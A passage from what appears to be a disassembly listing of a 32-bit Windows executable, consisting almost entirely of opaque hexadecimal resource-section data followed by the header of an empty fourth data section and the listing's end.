dd 2F951974h, 0DC63D0E0h, 8DD13ED8h, 2DDCB4B0h, 176B9F61h
dd 6FF5E3E3h, 0F1A579E1h, 0E538053Dh, 0EEF5B2B5h, 63A8A6A7h
dd 7755FFB0h, 0AD3AE5D6h, 0C1712DC5h, 175BF5F5h, 0C72B5A02h
dd 5C31C5C1h, 7A754D27h, 516A1D2Dh, 25A5A141h, 1F2BFFFEh
dd 64B7CBBFh, 0A8FC2092h, 0ED417575h, 3286BAB9h, 77CAFEFEh
dd 435C1512h, 317F511Dh, 0EAC167CDh, 71A8D196h, 93E1B8B4h
dd 7114FAD9h, 3CC6BEAEh, 0F7926B41h, 91410A0Ch, 441FFDF2h
dd 1ED7A487h, 0DD03424Ch, 953A080Eh, 578DB5A3h, 13A07274h
dd 8717252Eh, 7D3DF5E2h, 22C992B0h, 0D1E5587Fh, 0A34B3B2Ch
dd 7006E5C6h, 11D2AA8Dh, 0C296455Dh, 987E7130h, 4AF6D7D3h
dd 17A988ABh, 0F8784C25h, 9B22C785h, 11F0BDABh, 0F3B5636Ah
dd 0BE770736h, 1100F9FDh, 37CDAE9Eh, 0F2B94456h, 0BB530314h
dd 4105E8ABh, 3DDE9B91h, 0C66C5B5Ah, 0C035151Fh, 59E4ED8Dh
dd 13A77074h, 0B951483Ch, 6E0DF9E4h, 2FFCB4A0h, 0FB875117h
dd 0B14B321Dh, 6B18D4E1h, 2AC5868Ch, 0A2B45A4Fh, 0A14E0B29h
dd 7F1ADFDAh, 71A68D91h, 0F07C597Ah, 0AF28EDEBh, 40F7ABAEh
dd 0C9A36E4Bh, 0A569343Fh, 6208D3F0h, 3EC497BFh, 0D0EA5F7Ah
dd 0B3621706h, 4418DDCCh, 2D68DA5h, 0AABC545Eh, 0BC361331h
dd 51F3C8C2h, 0AA5446Dh, 0D2652621h, 217F3FBh, 13EEAB89h
dd 0CDAF7E76h, 9E41343Eh, 540CF0FDh, 2EC8A6E1h, 0EE9F4372h
dd 8B430A3Ah, 4D3BB0EEh, 1FA5A280h, 0DC6A504Ah, 832F397Eh
dd 4FFDA695h, 0C5BA6761h, 82190C34h, 6508E6F4h, 2ACFA3BAh
dd 0FC817552h, 0AC4D0D2Dh, 5C1FCACDh, 16D0AEE9h, 0C2944779h
dd 0AF4C041Dh, 53E1CADEh, 0CBA9388h, 0D5610641h, 0BE3EE7E4h
dd 27F8A7A7h, 0E9B35C10h, 0AF481930h, 6B14FBEBh, 36E7DE9Fh
dd 0FE867553h, 0A6522710h, 251CC1C5h, 4D881BEh, 0CA6E5F70h
dd 84371A36h, 78EBAEA9h, 18A14A05h, 0AD641A27h, 7428EAEDh
dd 23ED83D3h, 0E3977D7Bh, 0BC6F6F6Fh, 1A1AD1D3h, 3CDD94B6h
dd 9084584Eh, 90593E5Dh, 48D3B5C0h, 1B839D98h, 0E40A5B52h
dd 9509F7E6h, 35D5ADA4h, 0E7B07F79h, 0B97B2624h, 6A3097D7h
dd 38CE9DAFh, 0F1837045h, 0AF54110Ah, 5613F9A9h, 2D687A8h
dd 0CE925A67h, 95282B77h, 6089CDD9h, 9AF6F6Fh, 0C9762E13h
dd 6A1EEAC5h, 1E9CB5A3h, 0F995677Dh, 0BD673639h, 1608F0F1h
dd 2FC691B5h, 0F39D6E42h, 90776D0Eh, 5C14D6F1h, 1C928286h
dd 0DF6E4D53h, 8B29E71Ah, 58FAAA90h, 0F5980A67h, 0A77E3D0Eh
dd 6226F1E6h, 1EA4BDBBh, 0F19B5E68h, 894B1601h, 7B10C8D7h
dd 2DB79899h, 0C28E735Bh, 0BC240112h, 54E5D5CAh, 0E8F8D8Eh
dd 0F87B0D42h, 7435EDF5h, 26FD9FA9h, 0E7B27865h, 83561855h
dd 7A31EBFBh, 3EE4A8BAh, 0E8934177h, 0E15B0601h, 5635DAE3h
dd 2F89C97h, 0FE03525Bh, 90383308h, 55FF91AFh, 0DA16365h
dd 0A67C241Eh, 7C1290E1h, 23C5A49Bh, 0E5867C4Ah, 0D6443134h
dd 693FD7ECh, 3D69388h, 0D6917A58h, 855C0404h, 41EFD3F8h
dd 3DC68388h, 0DD7E6E4Bh, 8403FDF6h, 2FF0BDBAh, 0E9BC6047h
dd 0BF7E3E20h, 100AF7FEh, 27FFA892h, 0CF885548h, 0AB46140Ch
dd 463AC7CBh, 11C98082h, 0C1746634h, 912C172Ch, 64EFDAD1h
dd 15A67177h, 817B1C20h, 5630FEE2h, 24F4A3A5h, 0DDB51671h
dd 0B253081Bh, 6819D4EDh, 32DC87E4h, 0CE864C5Ah, 925F050Eh
dd 4510D0B2h, 4A09299h, 0C16D5B3Ch, 8E3EEEE9h, 5EFCBFA4h
dd 0F1D76E66h, 0C86A332Ah
dd 690FF0E7h, 31CAAAD9h, 969E7B75h, 0BE5B0D2Bh, 5411C6D5h
dd 16D780AFh, 0C79C7954h, 0EE271A11h, 56F3D5F3h, 0CAE918Dh
dd 0FE642103h, 673BE7E6h, 23FCB9ADh, 0FFBF6640h, 0BE6A5732h
dd 7B1AF9E8h, 2AE39484h, 9EB04B43h, 86420423h, 5C1EC1DDh
dd 3DA83BBh, 0F3684A6Ch, 8327347Eh, 59E0B0A6h, 0E1B6557Ch
dd 0A9710A28h, 4E1C91F4h, 6F19480h, 0D7C82828h, 8A2B1313h
dd 7133C3C1h, 29D19B86h, 0F4F9544Bh, 9B711517h, 55C8D9D2h
dd 34BFBE85h, 0DD691241h, 8D34F0D7h, 28F79CB2h, 0F09E6A65h
dd 0A8725415h, 6600CAFEh, 22C5BC88h, 0DA966746h, 0E5DAE467h
dd 4D296487h, 82BCF0F1h, 0AC2579BBh, 0F12C7A11h, 53D8EF91h
dd 2D1C8F00h, 96459DC2h, 550BCEE4h, 0D10B2D80h, 13E32734h
dd 40D75098h, 1A5D8D04h, 9CB92165h, 0A73A77Ch, 0DB3B5F7Ah
dd 2DEAE44Bh, 0E73BF693h, 0B7391177h, 78414206h, 4193C758h
dd 0E58C645Dh, 1E965151h, 0C3E996FCh, 54CE9AB1h, 0F2EB0F20h
dd 0DD5A3666h, 2215FDC1h, 36B987EEh, 3E016260h, 0F0735BFAh
dd 0A077E5E3h, 79FD2ACCh, 0E266B9C0h, 16D70601h, 4478CFFFh
dd 9CE08199h, 265968h, 0C495CDCAh, 77D36769h, 107E2717h
dd 0E4387753h, 0D682E558h, 0FF447E0Ah, 3E060A16h, 0F850FAF0h
dd 0C2D32CC4h, 45EF6F6h, 0C62A62CCh, 10D31C1Fh, 624BD7D7h
dd 1F17E3E3h, 0E901E4E5h, 6AB223A5h, 0FA3967E1h, 4FFB2F34h
dd 13BF8B6Eh, 0F2DA7E33h, 76C915A8h, 3A534242h, 3049016Ah
dd 0C85EF8CCh, 0B9FCF094h, 9F750455h, 4237CACBh, 74AB4B20h
dd 98682314h, 2CA1974Ch, 7B799D86h, 3EBDF530h, 0B00236DFh
dd 18C6267Ch, 3ABCDA74h, 0EB5CFA6Ch, 0C32650CAh, 2896DDDFh
dd 4DB5D3F0h, 0F7E8DC9Ah, 0CCEFD89Ah, 3BA3A292h, 7A7A6320h
dd 0A4D32B1Ch, 2A61705Ah, 2FEBB4DFh, 3ACA05h, 3D1FC13Bh
dd 95BFF744h, 4294C8C2h, 8582DD85h, 7E936E02h, 10538D73h
dd 54AB6157h, 13672021h, 0DE31646Dh, 0E85D52A9h, 9B71658Fh
dd 0A98B5292h, 1AB19A3Fh, 394E3E7Fh, 291A8955h, 0EB438BCDh
dd 5609CCE1h, 0DC632FBAh, 8DD13988h, 592A9EDAh, 2747960Bh
dd 0DF78C8E3h, 0A7332FC2h, 0E5D16D06h, 0E97DE538h, 4335639Fh
dd 30023B0Bh, 397F8888h, 0B78B7587h, 0B2FAFD9Fh, 4AF9B84Eh
dd 0F2CAF5D1h, 9245AD11h, 95E9F548h, 5B736261h, 2F68D14Bh
dd 9F2A60EBh, 2BFC001Ch, 0ED495108h, 323F3EB6h, 9B4BFEFEh
dd 0BC0F414Bh, 50E0DCh, 0D367CCCDh, 8AED3D3Bh, 4BAFAADDh
dd 14669FBFh, 59C18FE0h, 9DF020CDh, 0B6673F69h, 0B285F9AEh
dd 6C8EDED6h, 268EFE0Bh, 0F6487D79h, 39E79093h, 17D36C56h
dd 84174B4Bh, 0F8C96FC2h, 0D8A0E4FEh, 0C991EF9Fh, 0D3420A0Eh
dd 4B6FA3A2h, 41975317h, 5AF82C2Fh, 0DA11A8E4h, 0EF07EFB6h
dd 6025EC8Fh, 0D3DFB410h, 0A901D685h, 3600369Ch, 0DEDA3E23h
dd 1C6A93D6h, 0DCF167CEh, 0DBA8ECF6h, 0CDBF6575h, 526A220Ch
dd 2476AF3Ch, 0A98844F0h, 5D59245Fh, 0A31529D1h, 68DAEEEFh
dd 855AFC56h, 40147863h, 65B8549h, 6FE92ED2h, 4677E91Fh
dd 87276B77h, 35A5355Fh, 9CEDE4D5h, 9C75292Eh, 0A13B1B64h
dd 39033E38h, 6820F7C8h, 0A608A9B0h, 2A4E81B2h, 0C4403991h
dd 7B5F04CCh, 0C61C5050h, 0E616511h, 699B59DAh, 17AC0E6Ah
dd 5820635Dh, 2174A849h, 1398D26Dh, 947C77C3h, 0A80C3F26h
dd 0FB0C99CEh, 37CD46C6h, 0D7408B6Fh, 5100DB89h, 6B5B5B31h
dd 0B0861323h, 6FA15796h, 0FC699D9Ch, 5AADE150h, 0CCA218A7h
dd 66383D23h, 287CB00Ah, 0C1C83277h, 360A3405h, 0F74A7EE7h
dd 0CFFAE3FFh, 8FEE34A4h, 0C519C1C9h, 2A533F91h, 7282F6F6h
dd 0E7827C3Ah, 0E4801F2Ah, 9C0DD084h, 0A951697h, 0D78F5A5Ah
dd 9B3C0DF3h, 45AB978Dh, 8A8F3A94h, 3C4E41h, 0FF52A196h
dd 0BBC5293Ch, 0B8F07985h, 9DE16654h, 0FA36CAC9h, 57AADED7h
dd 0F5984C67h, 8455070Bh, 0F4EC52ACh, 0EFBDC1DDh, 9C3442F6h
dd 0FC2F2B2h, 688CF0ECh, 7DD2056Dh, 94471BCDh, 0D2CE70DEh
dd 0C19FE3FFh, 0A0FF688Dh, 1C1A0D5Ch, 483EF3F5h, 0CA4DB7B7h
dd 0A3C7072Ah, 171874E8h, 1DAA7821h, 0F20601F9h, 871F51B3h
dd 3FB68283h, 45B09443h, 85D90DE5h, 279F0F51h, 0F538AEBh
dd 64E46650h, 2D672010h, 0DD01552Fh, 0AFFD51AAh, 678ADEA9h
dd 2E7496C0h, 0F0744834h, 5B62837h, 0FCCD0231h, 0BE237772h
dd 8B308E03h, 0B79CD0DCh, 0BCCD7C81h, 8DEFB158h, 7F1DFAD9h
dd 0BF38681h, 0F687514Fh, 0A9550C08h, 5B11DFD5h, 0BCF1F68Ch
dd 4555F4B1h, 19CFD2A6h, 3ED1AFC7h, 0EB845DF0h, 7DAEC255h
dd 0B260A48Fh, 50A4D8C0h, 6AA41991h, 0BFD19D9Fh, 53772A0Eh
dd 63B7EBEAh, 0E0719B49h, 873DE77h, 0D32DDC14h, 455F7306h
dd 0EF0F7372h, 0FF068EEDh, 75B45559h, 0ADA99A11h, 0D6E6D55Dh
dd 96685B1Fh, 58ABDE7Ah, 0BC98244Eh, 0B7356969h, 0B385A5C7h
dd 6B8EDE53h, 3B0F69BCh, 68C16C32h, 3ABDF1F6h, 4EE98B8Fh
dd 20964B7Ah, 7A3608Fh, 4DCA8785h, 241A1F73h, 0D61A6E6Eh
dd 372A365Dh, 9FE3E7D7h, 94C81F99h, 24A88E70h, 7682869Eh
dd 7C553A7Fh, 0B80A6BBBh, 0C6D1E284h, 4EE19384h, 0EB4FF15Dh
dd 221F637Eh, 106499D6h, 55606251h, 2EE22121h, 0AABF782Bh
dd 271FB49Bh, 3FBBEFEEh, 8121A1CBh, 0A5137949h, 1C632B41h
dd 38440333h, 4BD74B7Bh, 0D65AF5DCh, 0C1BDA35Ah, 0BA6F0E5Ch
dd 0D08A0A69h, 1914215Ch, 2FD5B781h, 53172C5Dh, 0CF978534h
dd 59F497BEh, 83C0AED3h, 0BA146EB7h, 0F9038536h, 0BDA64D15h
dd 0CD5CF808h, 0F7A9D947h, 8661A5A4h, 6510E2EFh, 0E4EA2E2Eh
dd 0EC9A48E1h, 1B749897h, 5588D759h, 0D87E3E31h, 0DDBD898Ah
dd 7032327Ah, 0F1CBCFCFh, 8D2003C9h, 6805D989h, 46F39DCDh
dd 8BDE127Bh, 55DC00D7h, 155889E4h, 715D751Eh, 130E2516h
dd 0E3067F12h, 2784572Ch, 9240C870h, 8181B1C6h, 9D494D4Eh
dd 6A8EA8C3h, 0E146F858h, 4E187C60h, 3A6DD614h, 4D4114D6h
dd 938C4A4Bh, 0F416CAA0h, 98F9A494h, 6284D8A2h, 0A693F9A5h
dd 0BB0C8D20h, 0B00248h, 0E038FBCCh, 0BA3C6C18h, 0CF62000Dh
dd 401FCAFBh, 454EF034h, 4620647Fh, 0A7EEA5CAh, 5799ED95h
dd 0AFF476A8h, 751899ECh, 25489C9Bh, 5AFB7D7Ah, 84AC3506h
dd 0EA4D1B9h, 24FF3A4Dh, 2C810435h, 9344191Ah, 2B5B1B71h
dd 0B3CED2E3h, 0A0C8DA8Dh, 0A60D9F5Ch, 7F578B9Bh, 33D38488h
dd 0E3CC4E4Eh, 845E071Ch, 3B287D8h, 5EA8949Dh, 0E4090C13h
dd 0B91AD1DAh, 34D09B85h, 0EBBD7E7Fh, 0A4721225h, 630DE4E2h
dd 8D2BF88h, 0EE997A73h, 0AE55070Dh, 431DFAF5h, 26DD889Ch
dd 0D89B5150h, 91132B04h, 50E5DDCEh, 0ABF6475h, 0CC7B0019h
dd 6F36FCEFh, 24F49FA3h, 0D099777Dh, 0BF442D0Bh, 7218FFF9h
dd 3DC190B2h, 0C3964B4Eh, 8C4C192Ah, 5314C3DFh, 1E809190h
dd 0D06F564Ah, 97220B1Eh, 71CCB7AAh, 81A17A60h, 925C011Eh
dd 4E0DD2C5h, 33CA9A8Bh, 0FB9B736Eh, 8E711506h, 7116C8CCh
dd 20EA999Dh, 0C2895D5Ah, 8916001Dh, 5EECCACAh, 0E8CA193h
dd 0C9612E32h, 5453F5E2h, 20F0B9ADh, 0FAB35865h, 0CE235521h
dd 1366CA9Ah, 2ADADEDFh, 0F1865B4Bh, 8A400646h, 5615C3DFh
dd 5D4DF93h, 0FE025951h, 0D50C3835h, 57F4A3B2h, 0CA5696Bh
dd 86451F40h, 4239AFDDh, 6DD19A9Bh, 0E38D6E3Fh, 0DC1A2829h
dd 1B6E4AF7h, 0E1EFE6E7h
dd 94D7CDC1h, 86B9B670h, 2E8185A0h, 5FE86C05h, 50CB3E0Fh
dd 971EF79Bh, 0A32143D7h, 0DFD93D25h, 0BE306EFEh, 2EE2F1BDh
dd 76D2C623h, 0B51D9DACh, 0A8BA6555h, 45D3FDA8h, 663F634Ah
dd 23FF031Fh, 0C16F4CFDh, 700047BDh, 84808EF8h, 5D12F6BDh
dd 0FBED0144h, 219CE0FCh, 8DE11411h, 0EBB3A50Fh, 0FE6BAFB2h
dd 5CAFE36Ah, 0B55DADA5h, 8F696D5Ch, 0D570D8B1h, 5FEEBF63h
dd 907BB83Bh, 88398488h, 3E91CD2Dh, 0C190590Ah, 8B570B60h
dd 11F56B93h, 5AA4E8F4h, 0FFFD69DDh, 0B2C63263h, 0E08C585Fh
dd 549C327Eh, 0DC3CB530h, 5918A76h, 3286BAB2h, 2889B8ADh
dd 0F821100Ch, 0FE54C4C4h, 76B4D158h, 739CF912h, 7AAFA9A9h
dd 1457B764h, 59AADB88h, 80F7225h, 0E2054548h, 277AA346h
dd 3EFAAEF3h, 0E3466171h, 0A20D202Eh, 0C4DBC181h, 4FF9EF92h
dd 0C410A34Bh, 41009090h, 1DF4879Ah, 71A4F1Ah, 0D71A75B7h
dd 4D3E6A90h, 0BE2E482h, 0A5F8442Ch, 156B3171h, 1FA94723h
dd 8B3E79FBh, 345B1C34h, 0CE7C7B10h, 0D81844CAh, 0EDDA3E28h
dd 0D6770153h, 40649898h, 233D238Dh, 65ED110Eh, 0EF19ABF3h
dd 247C43ABh, 3AEEEFF0h, 9C336670h, 0BF093D54h, 791F41BFh
dd 94CF3328h, 0C1144842h, 7429FEFAh, 2DE9BFBBh, 70B21656h
dd 0E40C82CEh, 0FCE929A0h, 51B0D4CEh, 0F078A41Bh, 6E3A5E77h
dd 1C534436h, 0E43CA6F8h, 0B638107Ch, 0FB49E911h, 0F51FC6C7h
dd 84E71253h, 14A1DD09h, 0E661A5B9h, 0AC5A2B26h, 336FD979h
dd 0DC2F5343h, 87D12BF8h, 66B8DCCDh, 8A99A4BFh, 0BB127646h
dd 34EDBAD1h, 78CE6852h, 28EEC544h, 266A668h, 32C00E4Bh
dd 1C529E31h, 82246877h, 0A0E49BF6h, 5A9DC145h, 0CEA27072h
dd 76C8393Bh, 284C9C4Ah, 0B0550BACh, 74050915h, 0C76480FBh
dd 5267C3C3h, 7F2BF7FAh, 0F50B30C1h, 46DB5591h, 19A2E6C3h
dd 7BD4444Fh, 27D39206h, 83D2063h, 36E3E9D9h, 0EC121A71h
dd 2CC08C80h, 91F432h, 2AB0AAFCh, 4836A975h, 7A957979h
dd 44A7DE87h, 0DCAA7546h, 48AC9C67h, 1256AAD6h, 6FB8F8Fh
dd 0CABE7273h, 0CC01FD98h, 0B086AD9Ch, 6A8DDDDCh, 0DA1DDEF7h
dd 0F44B930Fh, 71DFC0C0h, 2D905249h, 8E526400h, 92A48FC2h
dd 4CAFFF92h, 90E414F0h, 86610E5Ch, 7B38D6C4h, 1ED7938Ah
dd 36087B2Bh, 0E80C5BB6h, 0D2343827h, 1AC5C9D5h, 0B70A3EF6h
dd 34FE9D5h, 71B8D15Dh, 574C800Dh, 471E624Eh, 3F4E502Bh
dd 3F58DDBh, 0B309B5DFh, 19B26554h, 0CDE327A5h, 37BADEF1h
dd 0FDFE5964h, 0F0461025h, 0E6763DBCh, 86341FE9h, 8CAEC4BAh
dd 358BC9Fh, 0C0F4DBBBh, 73E11507h, 0E10A33CDh, 1667779Dh
dd 8F8E3E2h, 0ACBF6B68h, 0A87D4359h, 0BC81B2FCh, 6EF2DAB4h
dd 0B30053A9h, 4DC1807Fh, 3DA1DD72h, 2C6B8750h, 2E1B7F61h
dd 0F49F651Eh, 50A4D43Fh, 0DAA04A1Ch, 8D6B2C29h, 523FE38Bh
dd 222214EAh, 22FC0003h, 0D9C57AB3h, 0A286BABAh, 76CAFB95h
dd 4FBACE42h, 5954B89Fh, 69517141h, 0DC351121h, 4DDDA9A4h
dd 234B5627h, 0DCA4DFDFh, 9CF02634h, 0E0A585E9h, 4E2EAEADh
dd 6BBEF3F3h, 9CAEA2C8h, 31C97C4Ch, 3A8DC051h, 14068D56h
dd 56E8194Ah, 86CBC42h, 38F91451h, 826D7114h, 43D55E5Dh
dd 1B5F8FCBh, 0DD30050Ch, 0A4C80C8Ah, 64140470h, 1EA21C30h
dd 0E639AAFAh, 0B83B1386h, 795F4401h, 4295C840h, 0DD64E85h
dd 442FAC52h, 20443E12h, 0AB2D1ADCh, 98ED110Fh, 0DF58660Fh
dd 0B688A9C0h, 688BC32Ah, 0A2FFCCB7h, 0F24419FDh, 0A2072DBEh
dd 7BFF23A1h, 9346582Dh, 29EC1873h, 8A18D1E1h, 8FA29319h
dd 6EAA5B5Ah, 185C805Bh, 2C58EC55h, 0C90AD6DFh, 0E63A6EF9h
dd 0A29998ECh, 8F97D3C3h, 85240DA9h, 28F00C81h, 8E92F6E6h
dd 7585E30Ah, 5D91AFB0h, 0D51B52Bh, 46CDD9B3h, 0C4EA1E1Eh
dd 1ABA9C31h, 0AD74988Bh, 0E8ACC8A8h, 99CD7EA4h, 584D2675h
dd 17C330B0h, 702B3EEBh, 0AF110E46h, 48478BC3h, 63DDC6CDh
dd 843F921Bh, 812BB796h, 54CD897h, 0D7FCD21Eh, 0AEDDDA9Bh
dd 0E32A826Ah, 65EAFAFh, 439F8BC2h, 88241619h, 0D96C585Bh
dd 44ABBAFBh, 8AA02228h, 8B510306h, 0F50A91B1h, 7F8A3043h
dd 3F229B1Bh, 0B22B5F5Fh, 4E27F4A4h, 4E757D16h, 2B722D1Eh
dd 0EB0E6740h, 2B60B7DDh, 24CA3297h, 0BA0C45A9h, 9B74A386h
dd 0BBC1CAC1h, 0B8F0EA85h, 0C1E4D754h, 7A6E72C9h, 57A9DDD6h
dd 0BB369FAEh, 0B3646757h, 9B93953h, 0AA39F0C1h, 1A8C6148h
dd 0F4765684h, 2CB91A43h, 0F0D00435h, 0F23BB7C4h, 6D94A58Eh
dd 1FC883D3h, 0BC5E82E7h, 2DAB5C6Ch, 8B42DFA1h, 0EA3C1B6Dh
dd 0A3C606D4h, 46C962DFh, 0C5E0A4C1h, 8D3B0EA3h, 541E4F5Fh
dd 0FD390F8Ah, 8E182D23h, 3855C226h, 0CA2D7DAEh, 0F8E53265h
dd 0ABF56330h, 0A8C7AEB5h, 0B28DE464h, 237599BCh, 57D1C79Ah
dd 54FE3246h, 0C06F1EE2h, 0CB353CBCh, 79CD312Fh, 3BD55731h
dd 367AB2Ch, 489BCFCFh, 0A21E91D2h, 38255968h, 0E9956095h
dd 5BAA20BFh, 0B10C92AAh, 1B6E6C5Bh, 1951BC25h, 913976F5h
dd 0B3BDBE35h, 7DC27F7Fh, 3DA0F4C7h, 7E830963h, 0F63613D8h
dd 49F1692h, 50A37353h, 0C428371Ch, 892E0B30h, 1E1AA7CFh
dd 3576EAEAh, 8C0ABAD0h, 14C37443h, 301B647h, 0FFC9FDF9h
dd 8B3E45C7h, 0BDE0A87h, 0C897FBFCh, 0B9EC0384h, 0A4730455h
dd 8699CA9Ah, 589AF2CAh, 9310DBA7h, 0E13068ECh, 0D979C7ADh
dd 5B8DF647h, 0A197C937h, 76474B50h, 0BE833F39h, 7ED106EFh
dd 0F30DCFC3h, 0C1688FBFh, 1DCE10D7h, 0C0E07248h, 0E62EE8A2h
dd 8E91A292h, 6082CD12h, 20F8EBA9h, 0E93C73B5h, 0AB087C86h
dd 73F5C9E5h, 0D05B6F6Eh, 0FD40839Bh, 7013799h, 3D93D22h
dd 0B59A5D92h, 99639794h, 6597F859h, 0D267E321h, 0BE62DD5Dh
dd 0F145AAAAh, 994D2FECh, 2976D2C3h, 0F1744857h, 8EB5F636h
dd 7ACE19CEh, 7E109575h, 0E5AF7D7Ch, 79BB5559h, 82221525h
dd 2B2011EEh, 44E6A97Dh, 1F18ECFBh, 0E9242B3Ch, 0E611AC07h
dd 75443361h, 96AC9F81h, 374E254Fh, 8B4D8CFAh, 2DA4E1Ah
dd 81C24881h, 83965F0Ch, 0D5976BDBh, 0D49F19FBh, 95D92D06h
dd 9EA53BA2h, 97FAAB82h, 64B7EB53h, 993FF003h, 0DD6F4246h
dd 3A88A97h, 3CBEB0DEh, 0CC632D31h, 6F3DA6E9h, 4C95A3ABh
dd 0ECB42D31h, 0AA4F3724h, 7715E8BBh, 2DC3FDDDh, 0B2CA5451h
dd 0A9412746h, 5716C0DCh, 2D7DC92h, 0C32C585Eh, 9F77531Eh
dd 1BAFF0FFh, 0BB66F70h, 0E4267623h, 6E35F5F8h, 7F9DA0BDh
dd 0EB916A3Ah, 0F5173B32h, 781DCCC1h, 5189958Dh, 8AC4120Fh
dd 8B4F1718h, 22BCD3DBh, 0FF3871F1h, 893B24CDh, 7D1E3485h
dd 0ED67CD23h, 0B85B077Ah, 0A26D1827h, 9AA76CEDh, 4D255723h
dd 2AED1112h, 0DADBE55Ah, 0CA020559h, 1C94D070h, 0AF47BFC2h
dd 2C9AA65Fh, 77C88360h, 94BA5A40h, 29EA6307h, 6598FA1h
dd 4B9D89BAh, 7E0A4D17h, 0A0D8A4A6h, 2E12B80h, 0D3B0D4D5h
dd 6DDE281Eh, 0D406E320h, 0ABDB404Eh, 70BD7A21h, 91BD89B0h
dd 8B181B2h, 8F190563h, 395A00E7h, 0C92C7EAFh, 3DBE1E69h
dd 32997513h, 0EDD6186Dh, 0FC036114h, 55289402h, 1296D001h
dd 0DFFD0DEFh, 647F959Eh, 67027DBAh, 78CC3030h, 0F8490079h
dd 3F64FE89h, 47C88D9Dh, 74FA3867h, 0ED24A7A8h, 1524C9D4h
dd 0A90F395h, 0EAF2766Eh, 0B0765661h, 0AD73B0FFh, 923F0AB5h
dd 8256BCC7h, 0C4A17E4Eh
dd 0C3715C2Ah, 0BDD783F7h, 8657041Bh, 0F479169Eh, 189F2929h
dd 9CA94E58h, 27D27CDBh, 5E26985Bh, 0E6BADBDAh, 5905D03Fh
dd 0BF6C234Fh, 3600B7F8h, 46370302h, 4723A99Ah, 7B5D7979h
dd 0BB683632h, 9E34C223h, 25215554h, 0ED9964C0h, 57AADE36h
dd 766E7E23h, 0E004415Eh, 25789F45h, 584295F1h, 9F2183BDh
dd 7D237B4Bh, 6A3140E2h, 7CD13535h, 6CFE403Ch, 0EEA47070h
dd 4C9FD2C0h, 0DDDA997Eh, 0DDAC5206h, 916EA2A0h, 81B1DAB8h
dd 0F3CCAA4Dh, 10B97F2Ah, 0DA81B5B4h, 52C5EFBAh, 32053E3Eh
dd 0FC4F8368h, 43C88B3Eh, 85388902h, 0B49F5251h, 2F43B7B6h
dd 8023D4FBh, 70EC2020h, 22CE98C3h, 22BF28A6h, 2531EEEEh
dd 0BBB5B83Bh, 0F437B95Ch, 30627D8Fh, 3347CA02h, 9596CE55h
dd 0EB58BCBAh, 0B7632D99h, 8CE1BAFCh, 0F6BBD158h, 156BAFADh
dd 6B9FC87Fh, 639AC027h, 60369294h, 297EB23Fh, 5EE1437Eh
dd 0ED8C3B0Ah, 10928343h, 0C26E3893h, 0CB57777Bh, 0C61B2F69h
dd 5D9E1F72h, 0DDB0A2D4h, 0A4F91DA9h, 0C9546160h, 1E75541Ch
dd 0C644BCEAh, 0A51F319Eh, 0B21ED180h, 0A3B7B5EAh, 76487970h
dd 32694342h, 0FFAB1317h, 0A0482433h, 287EEEEh, 84215A1Fh
dd 1526168Ah, 0D1839CF4h, 9CF07BA3h, 0C173AE68h, 65A8E8Dh
dd 0E096B97Bh, 3588277Dh, 0F5784C5Bh, 49858BF8h, 76988F05h
dd 4007094Bh, 835CC8ECh, 7D90FB51h, 99A71819h, 0E57A1D5Ch
dd 39E4C770h, 38B16883h, 94FF91AFh, 0E63D7140h, 0D17E2231h
dd 50730505h, 470B0F0Fh, 0CD7CE911h, 5D2036C9h, 79DA3E3Eh
dd 0FB349EC7h, 1BE91597h, 0D8A8ECECh, 0A9DD32B4h, 0B4603765h
dd 24C254AAh, 97BBDFDFh, 9D2C51A1h, 0F5F08679h, 0C88A8E8Eh
dd 4BE4CE96h, 3FA1C547h, 0FA59BDA2h, 7AADD264h, 1B1D4016h
dd 0D3177707h, 286B051Ch, 9EB0E4D4h, 0A1F529C1h, 0E750336Dh
dd 1925E33h, 809BF7C7h, 0CD8DFD33h, 7F4DB194h, 0F7110506h
dd 42D8FBF4h, 0F80928CAh, 1D5C5694h, 27A5F3D9h, 0EA6B7802h
dd 0AA436F46h, 0C814BBD2h, 9A471328h, 0F2153444h, 6BD8988h
dd 0CC784468h, 5534D19Eh, 0AF24123Ch, 255AC31h, 0E271ADCEh
dd 0FE21EDECh, 0F467DC6Eh, 0EADD11ACh, 0D1ACD0CFh, 1F972D76h
dd 90346C50h, 2813F98Ah, 0E6BF0CF4h, 0E00452FDh, 5EDC822Eh
dd 0BF8EF2EFh, 0BE520FCCh, 99277310h, 0CCDE92E4h, 0B2A93DD2h
dd 0EC0EE5E4h, 0B9D4A0A0h, 1D041C67h, 0D35FE8E9h, 0A6F90296h
dd 0EB2E9A72h, 1041B7B7h, 75F743FCh, 0B9E44041h, 3D518586h
dd 101BCAEFh, 0A6160334h, 0B120ACD7h, 128DF980h, 0DCA9DDDEh
dd 0C6DE0677h, 0DB27DECh, 2548871Bh, 9552F719h, 0ABC354C9h
dd 150Dh dup(0)
_rsrc ends
; Section 4. (virtual address 00017000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00016800
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 1017000h
align 2000h
_idata2 ends
end start